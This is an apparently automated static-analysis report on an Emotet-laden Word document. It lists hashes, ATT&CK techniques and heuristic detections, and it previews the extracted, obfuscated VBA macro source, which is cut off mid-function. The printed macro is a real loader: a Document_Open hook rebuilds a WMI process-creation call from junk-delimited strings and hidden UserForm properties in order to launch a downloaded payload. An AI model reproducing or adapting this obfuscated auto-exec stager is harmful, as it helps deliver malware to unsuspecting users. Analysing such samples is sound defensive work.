Emotet — Office (OLE) malware analysis

Static analysis result for SHA-256 4c51a6adbb0a0dcf…

MALICIOUS

Office (OLE)

231.5 KB Created: 2020-08-10 22:42:00 Authoring application: Microsoft Office Word First seen: 2020-09-07
MD5: 094130db58d0b046e5847bfa8798b69d SHA-1: 8a0c7a4c99cc564034388258d9e244481f82520b SHA-256: 4c51a6adbb0a0dcf39b01dfa491cf16d61c2a6cc254d966e734cf4e54da97f35
262 Risk Score

Malware Insights

Emotet · confidence 95%

MITRE ATT&CK
T1059.005 Visual Basic T1566.001 Spearphishing Attachment T1203 Exploitation for Client Execution

The sample contains VBA macros, specifically a Document_Open macro that utilizes a hidden UserForm to execute a command stager. This is a common technique for Emotet to download and execute further malicious payloads. The ClamAV detection also strongly suggests Emotet.

Heuristics 7

  • ClamAV: Doc.Malware.Emotet-9263008-1 critical CLAMAV_DETECTION
    ClamAV detected this file as malware: Doc.Malware.Emotet-9263008-1
  • VBA macros detected medium 4 related findings OLE_VBA_MACROS
    Document contains VBA macro code
  • VBA UserForm hidden-property command stager critical OLE_VBA_USERFORM_HIDDEN_COMMAND_STAGER
    VBA auto-exec macro creates a COM object from a decoded variable and reconstructs command text through Split/Join and hidden UserForm properties such as ControlTipText, Tag, Pages, or HelpContextId. This is a high-confidence macro downloader/loader shape seen in the reviewed OLE set, but it is not an Office CVE exploit primitive.
  • Document_Open macro high OLE_VBA_DOCOPEN
    Document_Open macro
  • CreateObject call high OLE_VBA_CREATEOBJ
    CreateObject call
  • VBA p-code auto-exec with execution tokens high OLE_VBA_PCODE_AUTOEXEC_EXEC
    Compiled VBA/cache stream contains an auto-execution token together with shell/download/object-execution tokens. This catches p-code-only or source-extraction-failure macro documents where visible source is unavailable.
  • Embedded URL info EMBEDDED_URL
    One or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.
    URL http://schemas.openxmlformats.org/drawingml/2006/main In document text (OLE body)

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source) 4809 bytes
SHA-256: c88c22b7a01d1877ac34c31b247b513ba13bbc51e3794acf69c391b7dc7fdb28
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "AVNHRpucrmijusoq"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True
Private Sub _
Document_open()
SIYGCyqkeigp.NUASAmthfvrdhnjsrj
End Sub


Attribute VB_Name = "SIYGCyqkeigp"
Attribute VB_Base = "0{E080691E-B1E3-428E-AA4F-E2EB0DC9EF83}{F81A9E60-F9DB-47C5-8177-A9BF6ECD5584}"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = False
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = False
Function NUASAmthfvrdhnjsrj()
Dim bnIC7BXFP As Integer
bnIC7BXFP = Len("k3ßiBgT8Ö")
Dim ql4ÍkHo As Integer
ql4ÍkHo = 1
Do While ql4ÍkHo < 1 + 3
ql4ÍkHo = ql4ÍkHo + 7: DoEvents
Loop
Dim VnTGhD As Integer
VnTGhD = 6
Do While VnTGhD < 6 + 9
VnTGhD = VnTGhD + 6: DoEvents
Loop
MLDXYxlbirrhlcopx = Chr(SIYGCyqkeigp.Zoom + ((30 + 60 + 30) / (4 + 4)))
Dim EWsakgGped As Integer
EWsakgGped = 1
Do While EWsakgGped < 1 + 4
EWsakgGped = EWsakgGped + 9: DoEvents
Loop
DOXPBhwgwucgfxnyq = "7892HJGgghjgJH%789H h&219yhuid2d7892HJGgghjgJH%789H h&219yhuid2dw7892HJGgghjgJH%789H h&219yhuid2di7892HJGgghjgJH%789H h&219yhuid2dnm7892HJGgghjgJH%789H h&219yhuid2d7892HJGgghjgJH%789H h&219yhuid2dgm7892HJGgghjgJH%789H h&219yhuid2dt7892HJGgghjgJH%789H h&219yhuid2d7892HJGgghjgJH%789H h&219yhuid2d" + MLDXYxlbirrhlcopx + "7892HJGgghjgJH%789H h&219yhuid2d7892HJGgghjgJH%789H h&219yhuid2d:7892HJGgghjgJH%789H h&219yhuid2dw7892HJGgghjgJH%789H h&219yhuid2din7892HJGgghjgJH%789H h&219yhuid2d7892HJGgghjgJH%789H h&219yhuid2d37892HJGgghjgJH%789H h&219yhuid2d27892HJGgghjgJH%789H h&219yhuid2d_7892HJGgghjgJH%789H h&219yhuid2d" + SIYGCyqkeigp.JATWFqgyaoxgft + "7892HJGgghjgJH%789H h&219yhuid2dro7892HJGgghjgJH%789H h&219yhuid2d7892HJGgghjgJH%789H h&219yhuid2dce7892HJGgghjgJH%789H h&219yhuid2ds7892HJGgghjgJH%789H h&219yhuid2ds7892HJGgghjgJH%789H h&219yhuid2d"
Dim t5àCoPkgj As Integer
t5àCoPkgj = 4
Do While t5àCoPkgj < 4 + 6
t5àCoPkgj = t5àCoPkgj + 7: DoEvents
Loop
POUOXsatumew = NBOMMajonibxol(DOXPBhwgwucgfxnyq)
Dim pibFblq As String
Set RVUNCzajsvebhijpvn = CreateObject(POUOXsatumew)
Dim WGu8ÍyhtN As Integer
WGu8ÍyhtN = Len("OVnLrCFgBv")
RXKOMlddrqsrqqre = SIYGCyqkeigp.LLNAGdtmyduvzudzeqd.ControlTipText
Dim lqrqsHrC As Object
UVNYIdyguyiinpsq = kljiqbbn2m + (POUOXsatumew + MLDXYxlbirrhlcopx + SIYGCyqkeigp.BPMVAgynjlokwep.ControlTipText + RXKOMlddrqsrqqre)
Dim Z4Öf As Object
DZWUPgftzkwwn = UVNYIdyguyiinpsq + SIYGCyqkeigp.JATWFqgyaoxgft
Dim Br1ÚYapZkp As Integer
Br1ÚYapZkp = Len("BoYNMC")
Set RCKDBjdphqlrtnoiy = TIFWJwbbdbuthlikukh(DZWUPgftzkwwn)
Dim Q7Ìl8ÉD0Êau As Boolean
pos76 = Array(dccv21s + "nnsk ioqy hhdq hdioqe", RVUNCzajsvebhijpvn. _
Create(HUUJHiwotnqrj, VDQGLtliyxgfyo, RCKDBjdphqlrtnoiy), vkq37y + "klq whuiqguiq ggqj")
Dim GpnGklo As Integer
GpnGklo = Len("dhL8ÇZ5ß")
End Function
Function TIFWJwbbdbuthlikukh(JCMAGpeohfbtbopt)
Set TIFWJwbbdbuthlikukh = CreateObject(JCMAGpeohfbtbopt)
Dim TZagwF As Currency
TIFWJwbbdbuthlikukh. _
showwindow = ZYOXCjmlqtaxvdkoy + LWSOOfusoeklb + OOUHWiuyirzmkwpfnjh
Dim EWCoPkgjbA As Integer
EWCoPkgjbA = Len("jWG")
End Function
Function NBOMMajonibxol(FDNFJbxwzehzpm)
QVDGMjzpfwyqoqc = FDNFJbxwzehzpm
Dim moR7ÒWhdDBb As Integer
moR7ÒWhdDBb = 6
Do While moR7ÒWhdDBb < 6 + 5
moR7ÒWhdDBb = moR7ÒWhdDBb + 6: DoEvents
Loop
QVFQTsmuyaastwpt = Split _
(QVDGMjzpfwyqoqc, "7892HJGgghjgJH%789H h&219yhuid2d")
Dim aVXl As Integer
aVXl = 7
Do While aVXl < 7 + 5
aVXl = aVXl + 8: DoEvents
Loop
IXKHTilyytxo = mmm2 + Join(QVFQTsmuyaastwpt, ooo3)
Dim yeECcb As Integer
yeECcb = Len("rdoJD")
NBOMMajonibxol = IXKHTilyytxo
Dim GZwfTDr7â As Integer
GZwfTDr7â = 6
Do While GZwfTDr7â < 6 + 5
GZwfTDr7â = GZwfTDr7â + 6: DoEvents
Loop
End Function
Function HUUJHiwotnqrj()
Dim HC0ËhElyrR As Integer
HC0ËhElyrR = 5
Do While HC0ËhElyrR < 5 + 3
HC0ËhElyrR = HC0ËhElyrR + 9: DoEvents
Loop
Dim eUiZ
... (truncated)